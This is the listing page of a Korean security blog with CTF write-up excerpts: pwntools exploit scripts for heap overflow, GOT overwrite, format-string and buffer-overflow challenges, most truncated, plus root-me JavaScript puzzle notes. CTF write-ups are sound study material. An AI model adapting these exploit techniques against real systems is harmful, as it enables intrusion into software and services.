티스토리

powerprove의 블로그..
검색하기
블로그 홈

블로그 홈

powerprove의 블로그..

powerprove.tistory.com/m
신고

powerprove 님의 블로그입니다.

구독자
0
방명록 방문하기
공지 주인장장 모두보기

주요 글 목록

  • . 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 10. 26.
  • pwnable.tw 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 14.
  • twctf simple_note write up 단순한 heap overflow 문제로 unsafe unlink를 이용해서 풀었다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475# !/usr/bin/env python# powerprove from pwn import *import sys if len(sys.argv) == 1: host = "localhost" port = 4000else: host = "pwn1.chal.ctf.westerns.tokyo" port = 16317 def menu(index): s.recvuntil("Your ch.. 공감수 0 댓글수 0 2017. 9. 8.
  • twctf swap 단순한 got를 변경해서 쉘 따는 문제 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768#!/usr/bin/env python# powerprove from pwn import *import sys if len(sys.argv) > 1: host = "pwn1.chal.ctf.westerns.tokyo" port = 19937else: host = "localhost" port = 4000 s = remote(host, port)sleep(5) read_got = 0x601028memcpy_got = 0x601040bss = 0.. 공감수 0 댓글수 0 2017. 9. 8.
  • twctf just_do_it write up 단순한 bof문제 123456789101112# !/usr/bin/env python# powerprove from pwn import * if __name__ == "__main__": #s = process("./just_do_it") s = remote("pwn1.chal.ctf.westerns.tokyo",12482) payload = "A"*0x14 payload += p32(0x804A080) s.sendline(payload) s.interactive()Colored by Color Scriptercs 공감수 0 댓글수 0 2017. 9. 8.
  • Senior_study 안드로이드 분석 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 9. 7.
  • Senior Study network 패킷 분석 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 9. 7.
  • pwnable.tw bookwirter 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 8. 17.
  • meepwn CTF 2017 - oldschool bof 문제.아이다 디컴파일이 안되는법 해결은 아래 포스트에. 카나리 우회가 귀찮다.스택에 널을 많이 넣고 원샷 돌림. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172# !/usr/bin/env python# powerprove from pwn import *import sys if len(sys.argv) 공감수 0 댓글수 0 2017. 7. 23.
  • JMPOUT 때문에 IDA 디어셈이 안될때. 코드게이트도 그렇고 저번에 있었던 meepwn CTF에서도 JMPOUT에 때문에 아이다 디어셈이 되지 않았다. 예시는 meepwn ctf의 oldschool.메인안에 있는 내용이 디어셈이 안되는 것을 확인할 수 있다. 1. 먼저 JMPOUT부분을 E를 통해서 함수끝을 지정해준다. 2. p(함수 만들기)를 눌러서 함수를 만들어준다. 3. F5를 통해 디어셈을 해준다! 이는 아이다에서 끝지정과 함수 만들기로 디어셈을 할 수 있다. 공감수 0 댓글수 0 2017. 7. 22.
  • MeePwn ctf bs 인티져 오버플로우를 통해서 root를 우회할 수 있고-를 이용해 릭과 got overwrite가 가능하다.문제는 got를 이용해서 어떻게 공격을 할까인데첫 번째 인자를 조절할수 있는 방법이 memcmp밖에 없기 때문에 이를 system으로 바꿧다.open을 ret으로 바꿔주면 memcmp에 첫번째 인자를 원하는 곳으로 바꿀수 있다.memcmp가 main 처음에 있기 때문에 scanf를 main으로 돌려서 호출시켰다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273# !/usr/bin/env python# po.. 공감수 0 댓글수 0 2017. 7. 21.
  • PIE 가 걸려있는 상황에서 아이다 원격 디버깅 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 7. 17.
  • [0CTF EasiestPrintf] write up 포맷 스트링 버그 문제이다.codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다. 12345678910111213141516171819202122232425262728293031323334353637# !/usr/bin/env python# powerprove from pwn import * host = "localhost"port = 4000 context.clear(arch = 'i386')s = .. 공감수 0 댓글수 0 2017. 6. 30.
  • [plaid ctf 2017] bigpicture 처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152# !/usr/bin/env python# powerprove from pwn import * host = "localhost"port = 4000 s = remote(host, port)raw_input("plaid CTF 2017") def make_payload(a, b, c.. 공감수 0 댓글수 0 2017. 6. 29.
  • [google ctf 2017] Inst Prof write up shellocode를 4바이트만큼 실행시켜주는데주요 레지스터들을 초기화 시켜준다그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고one_shot gadget을 이용해서 쉘을 땃다 1234567891011121314151617181920212223242526272829303132333435# !/usr/bin/env python# powerprove from pwn import * s = remote("localhost", 4000)raw_input("googlectf 2017") context.arch = "amd64"shellcode = "\x90"*100shellcode += asm(shellcraft.amd64.linux.sh()) if __name__ == "__main__": log... 공감수 0 댓글수 0 2017. 6. 29.
  • [codegate 2017 final] owner 분석이 까다롭다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364# !/usr/bin/env python# powerprove from pwn import * def appart(name, floor, house, describe): s.recvuntil(">") s.sendline("1") s.recvuntil("name?") s.sendline(str(name)) s.recvuntil("?") s.sendline(str(floor)) s.recvuntil("?") s.sendline(str(house)) s.recvuntil(":") s.. 공감수 0 댓글수 0 2017. 6. 26.
  • codegate_final 2017 real codegate 첫번째 문제였다. main함수에서 ShowData란 함수를 호출하는데 ShowData함수는 내가 원하는 한바이트를 출력시킬수 있게 해준다. + main에서 ShowData함수를 호출하기전에 Stack의 주소를 알려준다. 소스코드를 보면 format과 args에 값을 넣을 수 있고 포맷스트링 버그 취약점을 발생시킨다처음에 당연히 got값을 덮을라고 했지만. FULL relro이기 때문에 got값을 덮을수 없다.때문에 스택을 이용해서 공격을 해야한다. printf 내부를 보면 vfprintf함수가 존재한다.그리고 vfpirntf함수 안에서 %n이 출력이 된다.그러므로 vfprintf의 ret 주소를 구해서 %n을 이용해 eip를 컨트롤 하였다. eip가 컨트롤 되는 것을 확인할수 있다. pr.. 공감수 0 댓글수 0 2017. 6. 23.
  • 허스트 CTF pwn write up 공감수 0 댓글수 0 2017. 5. 31.
  • 허스트 참가 후기 저번주 주말에 허스트를 참여했는데처음으로 수상권에 진입했다물론 펀 문제가 어렵지 않고 다른 문제가 어려워서웹이나 리버싱을하는 선배님들께서 캐리해 주셨지만 그래도 첫 수상이라 기쁘다 공감수 0 댓글수 0 2017. 5. 30.
  • 역시 맥이 최고다 ㅈㄱㄴ 공감수 0 댓글수 0 2017. 5. 26.
  • 공유기 펌웨어 분석 - 1 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 18.
  • pwnable.tw Secret Garden [350 pts] 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 16.
  • pwnable.tw - Spirited Away [300 pts] 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 16.
  • [pwnable.tw] starbound 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 13.
  • pwnable.tw babystack 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 12.
  • root-me.org [web client] Javascript - Obfuscation 2 자바 코드를 보면 또 unescape함수로 안에 값을 넣어두었다.콘솔창을 이용해서 풀어보면플래그가 나온다. 공감수 0 댓글수 0 2017. 5. 12.
  • root-me.org [web client] Javascript - Obfuscation 1 자바스크립트를 보면 pass에 있는 변수를 unescape한다..자바스크립트 콘솔창에서 unescape(pass)하면 바로 값이 나온다. 공감수 0 댓글수 0 2017. 5. 11.
  • root-me.org [web client] Javascript - Authentication 2 이번에도 역시 javascript를 까서 살펴보면 TheLists = ["CACHE:HIDDEN"]이 들어 있는 것을 알 수 있고 이 리스트를 :를 기준으로 나눈다.:를 기준으로 쪼개서 나눈 2번째 배열을 ThePassword에 넣으므로 flag는 HIDDEN이 된다. 공감수 0 댓글수 0 2017. 5. 11.
  • root-me.org [web client] Javascript - Source 전 문제랑 마찬가지로 개발자 도구에서 js를 열어보면 플래그가 나온다. 123456azerty 공감수 0 댓글수 0 2017. 5. 11.
  • root-me.org [web client] Javascript - Authentication 첫 번째 문제라 그런지 상당히 쉽다. 개발자 도구를 켜서 소스코드를 보면 login.js가 있는 것을 확인 할 수 있다. login.js 를 열어 살펴보면 password를 알 수있다.flag = sh.org 공감수 0 댓글수 0 2017. 5. 11.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.